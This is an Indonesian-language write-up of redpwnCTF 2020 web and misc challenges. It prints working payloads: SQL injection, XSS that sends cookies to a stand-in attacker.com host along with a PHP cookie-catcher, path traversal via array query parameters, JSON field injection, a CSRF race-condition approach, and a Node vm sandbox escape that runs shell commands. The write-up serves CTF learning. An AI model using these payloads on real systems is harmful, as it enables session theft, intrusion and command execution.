RedPwnCTF 2020 Web & Misc Challenges WriteUp
Pada post kali ini saya akan menuliskan writeup redpwnCTF 2020 yang baru saja lewat.Berikut writeup dari soal kategori web dan Misc yang sudah kami selesaikan.untuk Pwn dan Rev solver dari tim kami belum sempat menulisnya
[ WEB Exploitation ]
web/inspector-general
My friend made a new webpage, can you find a flag?
Penyelesaian :
tekan ctrl+u terdapat flag pada tag meta
FLAG : flag{1nspector_g3n3ral_at_w0rk}
web/login
I made a cool login page. I bet you can’t get in!
Site: login.2020.redpwnc.tf
Source code diberikan disini.
Penyelesaian:
Setelah dianalisa, source code vulnerable terhadap SQL Injection, dengan basic payload ‘ or 1=1/* didapatkan flag
FLAG : flag{0bl1g4t0ry_5ql1}
web/static-pastebin
I wanted to make a website to store bits of text, but I don’t have any experience with web development. However, I realized that I don’t need any! If you experience any issues, make a paste and send it here
Site: static-pastebin.2020.redpwnc.tf
Note: The site is entirely static. Dirbuster will not be useful in solving it.
Penyelesaian:
Setelah dicoba-coba, website vulnerable terhadap XSS.
“><img src=x onerror=”alert(1)”>
terdapat form submit link yang menyatakan admin akan mengunjungi link kita, maka dipastikan kita diharuskan melakukan stealing cookie.
dibuat script receiver untuk menangkap cookie admin dengan PHP :
<?php
header(“Access-Control-Allow-Origin: *”);
if (isset($_GET[‘x’]))
{
file_put_contents(“x.txt”, $_GET[‘x’]);
}
?>
lalu lakukan XSS dengan payload :
“><img src=x onerror=”fetch(‘https://attacker.com/xss.php?x='+document.cookie)">
lalu submit dan kirimkan ke form admin didapatkan flag
FLAG : flag{54n1t1z4t10n_k1nd4_h4rd}
web/panda-facts
I just found a hate group targeting my favorite animal. Can you try and find their secrets? We gotta take them down!
Site: panda-facts.2020.redpwnc.tf
Diberikan source code
Penyelesaian :
Diberikan website untuk login dan source code.Dicoba login biasa hanya member value 1 yang dapat mengeklik tombol,setelah membaca source code, awalnya penulis berasumsi melakukan attack pada enkripsi lalu forging token pada cookie.
sempat stuck beberapa jam disini.kemudian jika diperhatikan kembali pada method generateToken, pada konstanta token, terdapat ${XXXXX} pada javascript artinya merupakan string interpolation (didapatkan dari diskusi di stackoverflow) , penulis sempat curiga ketika website dimasukkan double quote dan backtick malah redirect.
Goalnya melakukan overwrite json key member menjadi 1, setelah dicoba-coba dan sempat stuck lagi beberapa jam , Akhirnya penulis dapat melakukan overwrite member 1 dengan payload :
cok”,”member”:”1
dan didapatkan flag
FLAG : flag{1_c4nt_f1nd_4_g00d_p4nd4_pun}
web/static-static-hosting
Seeing that my last website was a success, I made a version where instead of storing text, you can make your own custom websites! If you make something cool, send it to me here
Site: static-static-hosting.2020.redpwnc.tf
Note: The site is entirely static. Dirbuster will not be useful in solving it.
Penyelesaian :
Mirip seperti static pastebin, hanya saja terdapat filter, setelah dicoba analisa apa yang difilter didapatkan kesimpulan :
attribute apapun pasti didelete ex:onerror,onclick , etc… bahkan sempat membuat atribute sembarang , juga masih tetap terhapus KECUALI atribut src .Artinya website melakukan filter dengan cara whitelist bukan blacklist.
penulis awalnya melakukan alert cookie XSS dengan metode data uri :
“><EMBED SRC=”data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogICAgPHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pgo8L3N2Zz4=” type=”image/svg+xml” AllowScriptAccess=”always”></EMBED>
Ternyata didebug dengan console terjadi error : karena cookie tidak dapat diakses pada data URLs
setelah mencari referensi di internet ditemukan blog menarik https://excess-xss.com/, penulis memodifikasi payload menjadi :
<iframe src=javascript:window.location.href=’https://attacker.com/xss.php?x='+document.cookie>
maka dicoba debug dan tidak ada error :
submit pada admin visitor form dan dilihat pada log didapatkan flag
FLAG : flag{wh0_n33d5_d0mpur1fy}
web/tux-fanpage
My friend made a fanpage for Tux; can you steal the source code for me?
Site: tux-fanpage.2020.redpwnc.tf
diberikan source code disini
Penyelesaian :
dibuka webchall, pada soal tertera pemain ditantang untuk mencuri source code jika diperhatikan pada parameter path terdapat nama file, biasanya vulnerable terhadap path traversal / LFI
dibaca source code terdapat 2 filter :
dibaca sekilas dari method pathTraversal tidak dibolehkan menggunakan ../ pada parameter dir yang dipassing.kemudian filter kedua terdapat regex. yang mengharuskan input alphanumeric pada parameter yang dipassing dir index ke 0.Setelah dicoba dengan url encode menghasilkan not found.
setelah dicoba-coba beberapa jam masih belum berhasil, ternyata jika dibaca lagi pada source code, request mengambil dengan cara query yang jika dibaca di sebuah artikel dapat menerima array (penulis juga tidak memperhatikan dengan baik pada method strip sudah jelas-jelas terdapat dir[0] ).
Setelah melakukan testing beberapa kali didapatkan pattern
path[0] = string sembarang
path[1] = 1
path[2] = payload traversal disini
sehingga :
https://tux-fanpage.2020.redpwnc.tf/page?path[]=peler&path[]=1&path[]=/../../index.js
didapatkan flag pada konstanta
FLAG : flag{tr4v3rsal_Tim3}
web/cookie-recipes-v2
I want to buy some of these recipes, but they are awfully expensive. Can you take a look?
Site: cookie-recipes-v2.2020.redpwnc.tf
diberikan source code disini
Penyelesaian :
Chall ini cukup panjang step nya,diberikan website toko seperti berikut :
hanya balance ≥ 1000 yang dapat membeli flag.dimana tiap action melakukan hit ke sebuah endpoint.Dibaca source code terdapat endpoint menarik bernama gift.
setelah membaca source code mendapat kesimpulan :
- CSRF
- Allow Access Unauthorized
- Race Condition
dan requirement post data nya:
- method POST
- harus ada cookie admin
- content type json
- parameter GET id user yang akan diberikan balance
- dan body post password
kemudian dicoba membuat exploit csrf.Sebelum itu, bagaimana kita bisa mendapatkan admin password ?
pada endpoint userInfo benar-benar menampilkan semua info user dengan parameter id si user
lalu untuk mengetahui id admin dilihat dari source code
sehingga kita bisa mendapatkan kredensial admin.
kenapa tidak langsung login admin dan menambahkan balance user ? tidak bisa karena terdapat validasi allowed ip hanya localhost.
Pembuatan CSRF exploit
penulis mencoba meng-hit endpoint dengan fetch dan karena dilihat dari source code webchall terdapat validasi harus terdapat cookie admin ditambahkan credentials:include. dan juga terdapat race condition untuk membypass pengecekan penambahan balance hanya bisa dilakukan sekali.Maka lakukan loop dan buat async function.
setelah itu submit ke admin visitor form
lalu refresh dan BOOM balance kita berubah menjadi 1000
lalu beli flag dan lihat pada halaman purchases didapatkan flag
FLAG : flag{n0_m0r3_gu3551ng}
[ MISC ]
misc/uglybash
This bash script evaluates to echo dont just run it, dummy # flag{...}
where the flag is in the comments.
The comment won’t be visible if you just execute the script. How can you mess with bash to get the value right before it executes?
Enjoy the intro misc chal.
resource disini
Penyelesaian :
Diberikan bash yang sepertinya sudah diobfuscated, dari soal flag terdapat pada comment dan pemain diharuskan mengekstrak sebelum kode diekseskusi.
menggunakan bash -x cmd.sh didapatkan hasil debug kode-kode aneh, namun yangperlu diperhatikan dengan jeli disini adalah pada huruf setelah perintah printf
jika discroll dari atas ke bawah akan membentuk flag.
FLAG : flag{us3_zsh_dummy}
misc/CaaSiNO
Who needs regex for sanitization when we have VMs?!?!
The flag is at /ctf/flag.txt
nc 2020.redpwnc.tf 31273
resource soal disini
Penyelesaian :
Diberikan service calc yang dapat mengeksekusi JS,dianalisa kode
kode vulnerable terdapat pada vm.runInNewContext. ditemukan payload dari artikel https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html
Payload :
const process = this.constructor.constructor(‘return this.process’)();process.mainModule.require(‘child_process’).execSync(‘cat /ctf/flag.txt’).toString()
didapatkan flag
FLAG : flag{vm_1snt_s4f3_4ft3r_41l_29ka5sqD}
Sekian writeup dari kami, jika ada kesalahan mohon dikoreksi.
Sekian terima kasih